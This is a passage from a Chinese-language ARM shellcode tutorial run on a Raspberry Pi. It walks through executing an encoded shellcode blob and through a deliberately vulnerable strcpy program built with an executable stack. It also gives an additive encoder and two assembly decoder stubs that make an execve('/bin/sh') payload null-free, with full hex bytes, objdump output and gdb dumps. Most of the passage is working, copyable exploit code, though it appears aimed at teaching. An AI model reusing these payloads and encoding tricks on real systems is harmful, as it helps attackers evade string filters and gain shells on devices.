char *code= "\x00\x40\xe0\xe3\x03\x08\xa0\xe3\x01\x1a\xa0\xe3\x07\x20\xa0\xe3\x32\x30\xa0\xe3\x00\x50\xa0\xe3\xc0\x70\xa0\xe3\x00\x00\x00\xef\x30\x80\xa0\xe3\x0f\x10\xa0\xe1\x4c\x10\x81\xe2\x12\x50\xa0\xe3\x47\x60\xa0\xe3\x00\x90\xa0\xe1\x00\x40\xa0\xe3\x04\x20\xd1\xe7\x06\x00\x54\xe3\x03\x00\x00\x1a\x05\x20\x22\xe0\x04\x20\xc9\xe7\x01\x40\x84\xe2\xf8\xff\xff\xea\x0c\x00\x54\xe3\xf9\xff\xff\x0a\x06\x20\x22\xe0\x04\x20\xc9\xe7\x01\x40\x84\xe2\x08\x00\x54\xe1\xf1\xff\xff\x1a\x39\xff\x2f\xe1\x48\x47\xe7\xa6\x67\x47\x92\xa5\x45\x67\x05\xa7\x17\x47\x6a\xae\x4a\x57\xe7\xa6\x4c\x37\xe7\xa4\x47\x47\x47\xa8\x47\x47\xe7\xa4\x46\x37\xe7\xa4\x47\x47\x47\xa8\x68\x25\x2e\x29\x68\x34\x2f\x47";

int main(void) {

    (*(void(*)()) code)();

    return 0;

}

编译并执行程序

root@raspberrypi:/home/pi/arm/episode2# gcc -o test_decoder test_decoder.c

Encode the shellcode

在这最后一个例子中,我们将看到需要对shellcode进行编码的情况。我们将分析execve shellcode。

这是我们的目标程序的源代码 (文件: encode_shellcode_before.c)

#include <stdio.h>

#include <string.h>

char *msg = "\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00";

void message(){

    char msg_buf[120]={0};

    strcpy(msg_buf, msg);

}

int main(int argc, char **argv){

    message();

    printf("Good bye!\n");

    return 0;

}

编译

root@raspberrypi:/home/pi/arm/episode2# gcc -o encode_shellcode_before encode_shellcode_before.c -g -z execstack

在第11行设置断点并运行程序

strcpy(msg_buf, msg);

我们来看一下变量msg和msg_buf的值(在strcpy指令之前)

gdb> x/50bx msg_buf

0x7efff5d0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff5d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff5e0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff5e8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff5f0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff5f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff600: 0x00 0x00

gdb> x/50bx msg

0x10590: 0x0f 0x00 0xa0 0xe1 0x20 0x00 0x80 0xe2

0x10598: 0x02 0x20 0x42 0xe0 0x05 0x00 0x2d 0xe9

0x105a0: 0x0d 0x10 0xa0 0xe1 0x0b 0x70 0xa0 0xe3

0x105a8: 0x00 0x00 0x00 0xef 0x00 0x00 0xa0 0xe3

0x105b0: 0x01 0x70 0xa0 0xe3 0x00 0x00 0x00 0xef

0x105b8: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00

0x105c0: 0x00 0x00

strcpy函数之后

gdb> x/50bx msg_buf

0x7efff5d0: 0x0f 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff5d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff5e0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff5e8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff5f0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff5f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff600: 0x00 0x00

gdb> x/50bx msg

0x10590: 0x0f 0x00 0xa0 0xe1 0x20 0x00 0x80 0xe2

0x10598: 0x02 0x20 0x42 0xe0 0x05 0x00 0x2d 0xe9

0x105a0: 0x0d 0x10 0xa0 0xe1 0x0b 0x70 0xa0 0xe3

0x105a8: 0x00 0x00 0x00 0xef 0x00 0x00 0xa0 0xe3

0x105b0: 0x01 0x70 0xa0 0xe3 0x00 0x00 0x00 0xef

0x105b8: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00

0x105c0: 0x00 0x00

我们可以看到msg_buf中的shellcode没有被复制,这是因为shellcode包含空字符。
为了解决这个问题,我们可以创建一个简单的编码器:我们的编码将是一个简单的加法🙂

文件 encoder_strcpy.c

#include <stdio.h> 
int main() 
{ 
    //execve shellcode 
    unsigned char shellcode[] = "\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00"; 
    int len = 48; 
    char out[len]; 
    int i; 

    for(i=0; i<len; i++){ 
        out[i] = shellcode[i] + 1; 
        if(i==47){ 
            printf("0x%x\n", out[i]); 
        }else{ 
            printf("0x%x,", out[i]); 
            out[i]++; 
        } 
    } 
    return 0; 
} 

编译

root@raspberrypi:/home/pi/arm/episode2# gcc -o encoder_strcpy encoder_strcpy.c

执行

root@raspberrypi:/home/pi/arm/episode2# ./encoder_strcpy
0x10,0x1,0xa1,0xe2,0x21,0x1,0x81,0xe3,0x3,0x21,0x43,0xe1,0x6,0x1,0x2e,0xea,0xe,0x11,0xa1,0xe2,0xc,0x71,0xa1,0xe4,0x1,0x1,0x1,0xf0,0x1,0x1,0xa1,0xe4,0x2,0x71,0xa1,0xe4,0x1,0x1,0x1,0xf0,0x30,0x63,0x6a,0x6f,0x30,0x74,0x69,0x1

我们来创建解码shellcode (文件: decoder_strcpy_v1.s)

.global _start

_start:

    mov r6, #48   @ size of the shellcode

    mov r1, pc    @ move into r1 the pc

    add r1, #44   @ address of the shellcode

    mov r4, #0    @ index for the loop

    sub sp, #48   @ save space for the decoded shellcode

    mov r3, sp    @ save address of the decoded shellcode into r3

start:

    ldrb r2, [r1, r4]  @ store into r2 the byte at the location (r1 + r4)

    sub r2, #1         @ decoding operation

    strb r2, [r3, r4]  @ save the decoded byte into the allocated memory

    add r4, #1         @ increment the index by 1

    cmp r4, r6         @ check the index with the size of the shellcode

    bne start           

end:

    add sp, #56        @ rebalances the stack

    blx r3             @ jmp to the allocated area

shellcode: .byte 0x10,0x1,0xa1,0xe2,0x21,0x1,0x81,0xe3,0x3,0x21,0x43,0xe1,0x6,0x1,0x2e,0xea,0xe,0x11,0xa1,0xe2,0xc,0x71,0xa1,0xe4,0x1,0x1,0x1,0xf0,0x1,0x1,0xa1,0xe4,0x2,0x71,0xa1,0xe4,0x1,0x1,0x1,0xf0,0x30,0x63,0x6a,0x6f,0x30,0x74,0x69,0x1

汇编、链接

root@raspberrypi:/home/pi/arm/episode2# as -o decoder_strcpy_v1.o decoder_strcpy_v1.s

root@raspberrypi:/home/pi/arm/episode2# ld -o decoder_strcpy_v1 decoder_strcpy_v1.o

查看opcodes

root@raspberrypi:/home/pi/arm/episode2# objdump -d decoder_strcpy_v1 

decoder_strcpy_v1:     file format elf32-littlearm 

Disassembly of section .text: 

00010054 <_start>: 
    10054:    e3a06030     mov    r6, #48    ; 0x30 
    10058:    e1a0100f     mov    r1, pc 
    1005c:    e281102c     add    r1, r1, #44    ; 0x2c 
    10060:    e3a04000     mov    r4, #0 
    10064:    e24dd030     sub    sp, sp, #48    ; 0x30 
    10068:    e1a0300d     mov    r3, sp 

0001006c <start>: 
    1006c:    e7d12004     ldrb    r2, [r1, r4] 
    10070:    e2422001     sub    r2, r2, #1 
    10074:    e7c32004     strb    r2, [r3, r4] 
    10078:    e2844001     add    r4, r4, #1 
    1007c:    e1540006     cmp    r4, r6 
    10080:    1afffff9     bne    1006c <start> 

00010084 <end>: 
    10084:    e28dd038     add    sp, sp, #56    ; 0x38 
    10088:    e12fff33     blx    r3 

0001008c <shellcode>: 
    1008c:    e2a10110     .word    0xe2a10110 
    10090:    e3810121     .word    0xe3810121 
    10094:    e1432103     .word    0xe1432103 
    10098:    ea2e0106     .word    0xea2e0106 
    1009c:    e2a1110e     .word    0xe2a1110e 
    100a0:    e4a1710c     .word    0xe4a1710c 
    100a4:    f0010101     .word    0xf0010101 
    100a8:    e4a10101     .word    0xe4a10101 
    100ac:    e4a17102     .word    0xe4a17102 
    100b0:    f0010101     .word    0xf0010101 
    100b4:    6f6a6330     .word    0x6f6a6330 
    100b8:    01697430     .word    0x01697430 

正如我们所看到的,还有“null”字节

10060: e3a04000 mov r4, #0

1007c: e1540006 cmp r4, r6

我们可以试着用这种方式来写这两条指令

mov r4, #0 as sub r4, r4, r4

cmp r4, r6 as subs r5, r6, r4

这是解码器的新版本 (文件: decoder_strcpy_v2.s)

.global _start

_start:

    mov r6, #48        @ size of the shellcode

    mov r1, pc         @ move into r1 the pc

    add r1, #44        @ address of the shellcode

    sub r4, r4, r4     @ index for the loop

    sub sp, #48        @ save space for the decoded shellcode

    mov r3, sp         @ save address of the decoded shellcode into r3

start:

    ldrb r2, [r1, r4]  @ store into r2 the byte at the location (r1 + r4)

    sub r2, #1         @ decoding operation

    strb r2, [r3, r4]  @ save the decoded byte into the allocated memory

    add r4, #1         @ increment the index by 1

    subs r5, r6, r4    @ check the index with the size of the shellcode

    bgt start          @ jump to start if r6&gt;r4

end:

    add sp, #56        @ add 56 to the sp

    blx r3             @ jmp to the allocated area

shellcode: .byte 0x10,0x1,0xa1,0xe2,0x21,0x1,0x81,0xe3,0x3,0x21,0x43,0xe1,0x6,0x1,0x2e,0xea,0xe,0x11,0xa1,0xe2,0xc,0x71,0xa1,0xe4,0x1,0x1,0x1,0xf0,0x1,0x1,0xa1,0xe4,0x2,0x71,0xa1,0xe4,0x1,0x1,0x1,0xf0,0x30,0x63,0x6a,0x6f,0x30,0x74,0x69,0x1

编译和链接

root@raspberrypi:/home/pi/arm/episode2# as -o decoder_strcpy_v2.o decoder_strcpy_v2.s

root@raspberrypi:/home/pi/arm/episode2# ld -o decoder_strcpy_v2 decoder_strcpy_v2.o

查看opcodes

root@raspberrypi:/home/pi/arm/episode2# objdump -d decoder_strcpy_v2 

decoder_strcpy_v2:     file format elf32-littlearm 


Disassembly of section .text: 

00010054 <_start>: 
    10054:    e3a06030     mov    r6, #48    ; 0x30 
    10058:    e1a0100f     mov    r1, pc 
    1005c:    e281102c     add    r1, r1, #44    ; 0x2c 
    10060:    e0444004     sub    r4, r4, r4 
    10064:    e24dd030     sub    sp, sp, #48    ; 0x30 
    10068:    e1a0300d     mov    r3, sp 

0001006c <start>: 
    1006c:    e7d12004     ldrb    r2, [r1, r4] 
    10070:    e2422001     sub    r2, r2, #1 
    10074:    e7c32004     strb    r2, [r3, r4] 
    10078:    e2844001     add    r4, r4, #1 
    1007c:    e0565004     subs    r5, r6, r4 
    10080:    cafffff9     bgt    1006c <start> 

00010084 <end>: 
    10084:    e28dd038     add    sp, sp, #56    ; 0x38 
    10088:    e12fff33     blx    r3 

0001008c <shellcode>: 
    1008c:    e2a10110     .word    0xe2a10110 
    10090:    e3810121     .word    0xe3810121 
    10094:    e1432103     .word    0xe1432103 
    10098:    ea2e0106     .word    0xea2e0106 
    1009c:    e2a1110e     .word    0xe2a1110e 
    100a0:    e4a1710c     .word    0xe4a1710c 
    100a4:    f0010101     .word    0xf0010101 
    100a8:    e4a10101     .word    0xe4a10101 
    100ac:    e4a17102     .word    0xe4a17102 
    100b0:    f0010101     .word    0xf0010101 
    100b4:    6f6a6330     .word    0x6f6a6330 
    100b8:    01697430     .word    0x01697430 

完美,没有空字节,让我们来看看opcodes

root@raspberrypi:/home/pi/arm/episode2# for i in $(objdump -d decoder_strcpy_v2 | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'

\x30\x60\xa0\xe3\x0f\x10\xa0\xe1\x2c\x10\x81\xe2\x04\x40\x44\xe0\x30\xd0\x4d\xe2\x0d\x30\xa0\xe1\x04\x20\xd1\xe7\x01\x20\x42\xe2\x04\x20\xc3\xe7\x01\x40\x84\xe2\x04\x50\x56\xe0\xf9\xff\xff\xca\x38\xd0\x8d\xe2\x33\xff\x2f\xe1\x10\x01\xa1\xe2\x21\x01\x81\xe3\x03\x21\x43\xe1\x06\x01\x2e\xea\x0e\x11\xa1\xe2\x0c\x71\xa1\xe4\x01\x01\x01\xf0\x01\x01\xa1\xe4\x02\x71\xa1\xe4\x01\x01\x01\xf0\x30\x63\x6a\x6f\x30\x74\x69\x01

现在我们可以测试它(文件: encode_shellcode_after.c)

#include <stdio.h>

#include <string.h>

char *msg = "\x30\x60\xa0\xe3\x0f\x10\xa0\xe1\x2c\x10\x81\xe2\x04\x40\x44\xe0\x30\xd0\x4d\xe2\x0d\x30\xa0\xe1\x04\x20\xd1\xe7\x01\x20\x42\xe2\x04\x20\xc3\xe7\x01\x40\x84\xe2\x04\x50\x56\xe0\xf9\xff\xff\xca\x38\xd0\x8d\xe2\x33\xff\x2f\xe1\x10\x01\xa1\xe2\x21\x01\x81\xe3\x03\x21\x43\xe1\x06\x01\x2e\xea\x0e\x11\xa1\xe2\x0c\x71\xa1\xe4\x01\x01\x01\xf0\x01\x01\xa1\xe4\x02\x71\xa1\xe4\x01\x01\x01\xf0\x30\x63\x6a\x6f\x30\x74\x69\x01";

void message(){

    char msg_buf[120]={0};

    strcpy(msg_buf, msg);
}

int main(int argc, char **argv){

    message();

    printf("Good bye!\n");

    return 0;

}

编译

root@raspberrypi:/home/pi/arm/episode2# gcc -o encode_shellcode_after encode_shellcode_after.c -g -z execstack

如果我们启动调试器并在strcpy函数之后查看变量msg_buf

gdb> x/104bx msg

0x1059c: 0x30 0x60 0xa0 0xe3 0x0f 0x10 0xa0 0xe1

0x105a4: 0x2c 0x10 0x81 0xe2 0x04 0x40 0x44 0xe0

0x105ac: 0x30 0xd0 0x4d 0xe2 0x0d 0x30 0xa0 0xe1

0x105b4: 0x04 0x20 0xd1 0xe7 0x01 0x20 0x42 0xe2

0x105bc: 0x04 0x20 0xc3 0xe7 0x01 0x40 0x84 0xe2

0x105c4: 0x04 0x50 0x56 0xe0 0xf9 0xff 0xff 0xca

0x105cc: 0x38 0xd0 0x8d 0xe2 0x33 0xff 0x2f 0xe1

0x105d4: 0x10 0x01 0xa1 0xe2 0x21 0x01 0x81 0xe3

0x105dc: 0x03 0x21 0x43 0xe1 0x06 0x01 0x2e 0xea

0x105e4: 0x0e 0x11 0xa1 0xe2 0x0c 0x71 0xa1 0xe4

0x105ec: 0x01 0x01 0x01 0xf0 0x01 0x01 0xa1 0xe4

0x105f4: 0x02 0x71 0xa1 0xe4 0x01 0x01 0x01 0xf0

0x105fc: 0x30 0x63 0x6a 0x6f 0x30 0x74 0x69 0x01

gdb> x/104bx msg_buf

0x7efff5e0: 0x30 0x60 0xa0 0xe3 0x0f 0x10 0xa0 0xe1

0x7efff5e8: 0x2c 0x10 0x81 0xe2 0x04 0x40 0x44 0xe0

0x7efff5f0: 0x30 0xd0 0x4d 0xe2 0x0d 0x30 0xa0 0xe1

0x7efff5f8: 0x04 0x20 0xd1 0xe7 0x01 0x20 0x42 0xe2

0x7efff600: 0x04 0x20 0xc3 0xe7 0x01 0x40 0x84 0xe2

0x7efff608: 0x04 0x50 0x56 0xe0 0xf9 0xff 0xff 0xca

0x7efff610: 0x38 0xd0 0x8d 0xe2 0x33 0xff 0x2f 0xe1

0x7efff618: 0x10 0x01 0xa1 0xe2 0x21 0x01 0x81 0xe3

0x7efff620: 0x03 0x21 0x43 0xe1 0x06 0x01 0x2e 0xea

0x7efff628: 0x0e 0x11 0xa1 0xe2 0x0c 0x71 0xa1 0xe4

0x7efff630: 0x01 0x01 0x01 0xf0 0x01 0x01 0xa1 0xe4

0x7efff638: 0x02 0x71 0xa1 0xe4 0x01 0x01 0x01 0xf0

0x7efff640: 0x30 0x63 0x6a 0x6f 0x30 0x74 0x69 0x01

我们可以注意到所有的字节都被最终复制了。

在下一集见 🙂

© 2017 物联网安全技术研究 All Rights Reserved. 本站访客数人次 本站总访问量
Theme by hiero